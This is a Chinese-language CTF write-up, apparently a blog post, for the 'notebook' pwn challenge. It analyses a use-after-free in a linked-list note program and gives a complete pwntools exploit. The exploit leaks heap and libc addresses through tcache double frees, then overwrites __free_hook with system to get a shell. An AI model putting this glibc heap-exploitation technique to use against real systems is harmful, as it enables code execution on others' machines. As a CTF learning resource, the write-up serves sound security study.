[BMZCTF-pwn] 49-[2021医疗行业]notebook

不懂pwn的大夫不是好厨师

题目用链表连接note,有add,free和show

note结构为0x10:memo, 0xf0:content, 0x8:next_ptr

free有UAF漏洞:

unsigned __int64 m2free()
{
  _QWORD *i; // [rsp+0h] [rbp-30h]
  void *ptr; // [rsp+8h] [rbp-28h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("memo> ");
  read(0, buf, 0x10uLL);
  if ( unk_202020 )
  {
    if ( unk_202020 == 1 )
    {
      free(qword_202018);
      qword_202018 = 0LL;
      --unk_202020;
    }
    else if ( (unsigned int)strncmp16(buf, qword_202018) )
    {
      ptr = qword_202018;
      qword_202018 = (void *)*((_QWORD *)qword_202018 + 32);
      free(ptr);
      --unk_202020;
    }
    else
    {
      for ( i = qword_202018; i; i = (_QWORD *)i[32] )
      {
        if ( (unsigned int)strncmp16(buf, i) )
        {
          free(i);                              // 超过1个,且不是第1个,UAF
          --unk_202020;
          return __readfsqword(0x28u) ^ v4;
        }
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

show通过链表输出,这是个唯一的坑:当free到unsort时ptr这个位置会变成pre_size,show的时候会崩。

unsigned __int64 m3show()
{
  char *s; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  for ( s = (char *)qword_202018; s; s = (char *)*((_QWORD *)s + 32) )
  {
    printf("memo> ");
    puts(s);
    printf("content> ");
    puts(s + 16);
  }
  return __readfsqword(0x28u) ^ v2;
}

需要想办法让它结束。

思路:

  1. 先建一定量填充,让free后unlink不小于1
  2. 建1,2,3三个块先给2free7次show得到堆地址,再free1进入unsort,由于这里指针有问题无法show
  3. 这时再建用到tcache里的2的环,下边把每次单独列(e10是unsort块,这里e10的下一块指针不正常,需要处理)
    1. 建在f20,在f20处写入f40,在f40处写e30 next->x
    2. 建在f20 next->f20
    3. 建在f40 next->f20 同时覆盖f20的指针让它指向e10
    4. 建在330 next->f40 同时覆盖e10的指针为0
  4. 将e10的指针置0恢复正常后就可以show得到libc了
  5. 得到libc后就是简单的doublefree将system写到free_hook再释放/bin/sh

这个题没给libc也起不来远程环境,用最简单的libc-2.27-3ubuntu1作的。如果其它坑应该出在libc上。昨天的hook自动刷新让人心有余悸。

完整exp:

from pwn import *

'''
patchelf --set-interpreter /home/shi/buuctf/buuoj_2.27_amd64/ld-2.27.so pwn
patchelf --add-needed /home/shi/buuctf/buuoj_2.27_amd64/libc-2.27.so pwn
'''

elf = ELF('./pwn')
context.arch = 'amd64'

def connect(local=1):
    global p
    
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 27672) 

libc_elf = ELF('/home/shi/buuctf/buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
context(arch='amd64', log_level='debug')

menu = b"4.Note Draft\n> "
def add(memo, msg):
    p.sendlineafter(menu, b'1')
    p.sendafter(b"memo> ", memo)
    p.sendafter(b"content> ", msg)

def free(memo):
    p.sendlineafter(menu, b'2')
    p.sendafter(b"memo> ", memo)

def show():
    p.sendlineafter(menu, b'3')

def pwn():
    for i in range(11):
        add(b'X', b'x')
    add(b'1'*0x10, flat(0, 0x111)*3)
    add(b'2'*0x10, flat(0, 0x111)*3)
    add(b'3'*0x10, flat(0, 0x111)*3)
    free(b'2'*0x10)    
    free(b'\x00'*8 + b'2'*8)    
    show()
    p.recvuntil(b'memo> ')
    p.recvuntil(b'memo> ')
    heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))  # 480:xx370
    print('heap:', hex(heap_addr))
    
    for i in range(5):
        free(p64(heap_addr)+ b'2'*8) #0
    
    free(b'1'*0x10)
    
    add(p64(heap_addr+0x20)+b'4'*8, flat(0,0x111, heap_addr-0xf0))
    add(p64(heap_addr+0x20)+b'4'*8, p64(0))
    add(b'5'*0x10, b'A'*0xd0+p64(heap_addr -0x110))
    add(b'6'*0x10, b'A'*0xd0+p64(0))
    show()
    p.recvuntil(b'memo> ')
    p.recvuntil(b'memo> ')
    p.recvuntil(b'memo> ')
    p.recvuntil(b'memo> ')
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
    libc_elf.address = libc_base
    one_gadget= libc_base + one[0] 
    print('libc:', hex(libc_base))

    free(b'5'*0x10)
    free(p64(0) + b'5'*0x8)
    add(p64(libc_elf.sym['__free_hook']), b'A')
    add(b'/bin/sh\x00', b'\x00')
    add(p64(libc_elf.sym['system']), b'\x00')
    free(b'/bin/sh\x00'+b'5'*8)
    #p.recv()

    p.sendline(b'cat /flag')
    p.interactive()

connect(1)
pwn()

'''
e30->f40->f20->e10->0
0x559d2961ee00:	0x0000559d2961ebf0	0x0000000000000111
0x559d2961ee10:	0x00007f10c687aca0	0x00007f10c687aca0
0x559d2961ee20:	0x0000000000000000	0x0000000000000111
0x559d2961ee30:	0x3636363636363636	0x3636363636363636
....
0x559d2961ef10:	再覆盖这里为0-->0x0000000000000000	0x0000000000000110
0x559d2961ef20:	0x0000559d2961ef40	0x3434343434343434
0x559d2961ef30:	0x0000559d2961ef40	0x0000000000000111
0x559d2961ef40:	预放个e30-->0x3535353535353535	0x3535353535353535
....
0x559d2961f020:	先覆盖这里指向unsort-->0x0000559d2961ee10	0x0000000000000111
0x559d2961f030:	0x3333333333333333	0x3333333333333333
0x559d2961f040:	0x0000559d2961ef20	0x0000000000000111
0x559d2961f050:	0x0000000000000000	0x0000000000000111
'''

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值